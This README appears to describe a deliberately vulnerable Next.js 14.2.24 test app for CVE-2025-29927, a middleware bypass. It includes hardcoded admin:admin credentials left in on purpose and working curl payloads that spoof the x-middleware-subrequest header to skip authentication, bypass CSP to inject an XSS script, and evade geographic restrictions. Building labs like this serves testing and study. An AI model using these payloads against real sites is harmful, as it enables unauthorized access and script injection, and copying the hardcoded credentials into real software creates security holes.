## https://sploitus.com/exploit?id=2F0DE363-A18B-5C9F-99E7-768E72986999
# next.js_cve-2025-29927
A small and simple Next.js application running version 14.2.24 used to test [CVE-2025-29927](https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-middleware).
Access the admin area (`/admin`) by utilizing the vulnerability or the hardcoded credentials `admin:admin`.
```bash
» git clone git@github.com:0xPThree/next.js_cve-2025-29927.git
» docker build -t nextjs .
» docker run -d -p 3000:3000 --name nextjs nextjs
```
Besides the obvious authentication bypass this vulnerability can also:
```bash
# Middleware may be used to set CSP headers to prevent XSS. Bypass CSP to XSS:
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
-H "Content-Type: text/html" --data "<script>alert('1')</script>" \
http://exploit.se
# Middleware may be used to restrict content by geographic location. Bypass geographic restrictions:
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
-H "CF-IPCountry: SE" http://exploit.se/se-only-content
```
